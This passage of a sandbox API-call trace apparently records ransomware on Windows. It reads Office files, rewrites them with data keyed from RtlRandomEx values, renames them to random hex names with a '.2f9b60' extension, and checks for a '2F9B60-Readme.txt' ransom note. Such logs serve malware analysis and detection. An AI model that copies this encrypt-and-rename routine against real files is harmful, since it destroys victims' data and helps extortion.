lpNumberOfBytesRead=0x3ce6f690*=0x30b, lpOverlapped=0x0) returned 1 [0142.542] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.542] WriteFile (in: hFile=0x1ec0, lpBuffer=0x42339560*, nNumberOfBytesToWrite=0x30b, lpNumberOfBytesWritten=0x3ce6f694, lpOverlapped=0x0 | out: lpBuffer=0x42339560*, lpNumberOfBytesWritten=0x3ce6f694*=0x30b, lpOverlapped=0x0) returned 1 [0143.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0143.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0143.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0143.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42339560) returned 1 [0143.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42335950) returned 1 [0143.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0143.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0143.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fe050 [0143.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0143.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0143.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0143.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0143.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fd720 [0143.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0143.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0143.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0143.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0143.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c080) returned 1 [0143.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169f70 [0143.475] SetFilePointerEx (in: hFile=0x1ec0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.475] WriteFile (in: hFile=0x1ec0, lpBuffer=0x169f70*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3ce6f7b0, lpOverlapped=0x0 | out: lpBuffer=0x169f70*, lpNumberOfBytesWritten=0x3ce6f7b0*=0x106, lpOverlapped=0x0) returned 1 [0143.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0143.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0143.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0143.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0143.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0143.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.683] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="8c") returned 2 [0143.683] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="21") returned 2 [0143.683] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="88") returned 2 [0143.683] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="10") returned 2 [0143.683] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="c7") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="25") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="b7") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="21") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="8c") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="27") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="f1") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="30") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="93") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="9d") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="1a") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="73") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="63") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="73") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="23") returned 2 [0143.684] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="60") returned 2 [0143.684] RtlInitAnsiString (in: DestinationString=0x3ce6f828, SourceString="8c218810c725b7218c27f130939d1a7363732360" | out: DestinationString="8c218810c725b7218c27f130939d1a7363732360") [0143.684] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ce6f7f8, SourceString="8c218810c725b7218c27f130939d1a7363732360", AllocateDestinationString=1 | out: DestinationString="8c218810c725b7218c27f130939d1a7363732360") returned 0x0 [0143.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86f10 [0143.685] RtlFreeAnsiString (AnsiString="8") [0143.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0143.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169f70) returned 1 [0143.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0143.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0143.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0143.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0143.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0143.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0143.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0143.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20507030 [0143.686] wcscat (in: _Dest=0x20507030, _Source="8c218810c7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8c218810c7") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8c218810c7" [0143.686] wcscat (in: _Dest=0x20507030, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8c218810c7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8c218810c7.2f9b60" [0143.686] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8c218810c7.2f9b60", NtPathName=0x3ce6f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8c218810c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce22aa0 [0143.687] NtSetInformationFile (FileHandle=0x1ec0, IoStatusBlock=0x3ce6f870, FileInformation=0x1ce22aa0, Length=0xae, FileInformationClass=0xa) returned 0x0 [0143.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22aa0) returned 1 [0143.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3560) returned 1 [0143.883] NtQueryInformationFile (in: FileHandle=0x1ec0, IoStatusBlock=0x3ce6f838, FileInformation=0x3ce6f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ce6f838, FileInformation=0x3ce6f848) returned 0x0 [0143.883] NtSetInformationFile (FileHandle=0x1ec0, IoStatusBlock=0x3ce6f838, FileInformation=0x3ce6f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507030) returned 1 [0143.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f10) returned 1 [0143.885] FlushFileBuffers (hFile=0x1ec0) returned 1 [0143.906] CloseHandle (hObject=0x1ec0) returned 1 [0143.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.921] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.921] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ae70) returned 1 Thread: id = 2208 os_tid = 0x168c [0140.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 0x20 [0140.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG", dwFileAttributes=0x20) returned 1 [0140.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ebc [0142.531] GetFileSizeEx (in: hFile=0x1ebc, lpFileSize=0x3bc9f6a0 | out: lpFileSize=0x3bc9f6a0*=826) returned 1 [0142.531] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x336, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.531] ReadFile (in: hFile=0x1ebc, lpBuffer=0x3bc9f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bc9f668, lpOverlapped=0x0 | out: lpBuffer=0x3bc9f620*, lpNumberOfBytesRead=0x3bc9f668*=0x4, lpOverlapped=0x0) returned 1 [0142.544] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0142.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0142.545] NtQuerySystemTime (in: CurrentTime=0x3bc9f560 | out: CurrentTime=0x3bc9f560*=132462177477862000) returned 0x0 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x6b76a6c0 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x3a970f19 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x720e55e3 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x20205fbf [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x4536af70 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x4f8e94b9 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x166a2f4d [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x623414a2 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x6b76a6c0 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x3c796162 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x2dee6fa4 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x447f2ea2 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x30f709b1 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x521fa4d6 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x7cbd6695 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x52c8163a [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x29bb1cbf [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x55174bb0 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x18a399d7 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x7034250c [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x5c62cbd6 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x509d4de1 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x7297b230 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x3f7726d7 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x743bc2c2 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x8e40f71 [0142.545] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x1303d3b9 [0142.546] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x1f1c7e3e [0142.546] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x694de3e7 [0142.546] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x5b6357c7 [0142.546] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x20b2ba85 [0142.546] RtlRandomEx (in: Seed=0x3bc9f550 | out: Seed=0x3bc9f550) returned 0x702c4e26 [0142.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0142.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0142.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0142.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0142.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0142.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0142.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0142.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42275d50 [0142.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0142.561] ReadFile (in: hFile=0x1ebc, lpBuffer=0x42275d50, nNumberOfBytesToRead=0x33a, lpNumberOfBytesRead=0x3bc9f550, lpOverlapped=0x0 | out: lpBuffer=0x42275d50*, lpNumberOfBytesRead=0x3bc9f550*=0x33a, lpOverlapped=0x0) returned 1 [0142.561] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.561] WriteFile (in: hFile=0x1ebc, lpBuffer=0x4227d570*, nNumberOfBytesToWrite=0x33a, lpNumberOfBytesWritten=0x3bc9f554, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesWritten=0x3bc9f554*=0x33a, lpOverlapped=0x0) returned 1 [0143.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0143.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0143.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0143.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0143.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42275d50) returned 1 [0143.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0143.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0143.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fd690 [0143.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0143.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0143.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0143.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0143.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fe500 [0143.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0143.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0143.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0143.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0143.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0143.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0143.480] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.480] WriteFile (in: hFile=0x1ebc, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bc9f670, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x3bc9f670*=0x10a, lpOverlapped=0x0) returned 1 [0143.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0143.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0143.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0143.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0143.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0143.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa1a0 [0143.689] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="e3") returned 2 [0143.689] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="77") returned 2 [0143.689] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="fb") returned 2 [0143.689] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="55") returned 2 [0143.689] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="c5") returned 2 [0143.689] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="6f") returned 2 [0143.689] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="ac") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="6c") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="b0") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="cc") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="de") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="2c") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="76") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="b3") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="d5") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="3c") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="e2") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="88") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="29") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="41") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="8d") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="76") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1cc, _Format="%c%c" | out: _Dest="3e") returned 2 [0143.690] sprintf (in: _Dest=0x1b7aa1ce, _Format="%c%c" | out: _Dest="e5") returned 2 [0143.690] RtlInitAnsiString (in: DestinationString=0x3bc9f6e8, SourceString="e377fb55c56fac6cb0ccde2c76b3d53ce28829418d763ee5" | out: DestinationString="e377fb55c56fac6cb0ccde2c76b3d53ce28829418d763ee5") [0143.690] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bc9f6b8, SourceString="e377fb55c56fac6cb0ccde2c76b3d53ce28829418d763ee5", AllocateDestinationString=1 | out: DestinationString="e377fb55c56fac6cb0ccde2c76b3d53ce28829418d763ee5") returned 0x0 [0143.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86ee90 [0143.691] RtlFreeAnsiString (AnsiString="e") [0143.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0143.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0143.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0143.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0143.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0143.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0143.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266930) returned 1 [0143.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0143.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267710) returned 1 [0143.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x205070d0 [0143.693] wcscat (in: _Dest=0x205070d0, _Source="e377fb55c56f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e377fb55c56f") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e377fb55c56f" [0143.693] wcscat (in: _Dest=0x205070d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e377fb55c56f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e377fb55c56f.2f9b60" [0143.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e377fb55c56f.2f9b60", NtPathName=0x3bc9f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e377fb55c56f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce22b60 [0143.693] NtSetInformationFile (FileHandle=0x1ebc, IoStatusBlock=0x3bc9f730, FileInformation=0x1ce22b60, Length=0xb2, FileInformationClass=0xa) returned 0x0 [0143.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22b60) returned 1 [0143.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3790) returned 1 [0143.887] NtQueryInformationFile (in: FileHandle=0x1ebc, 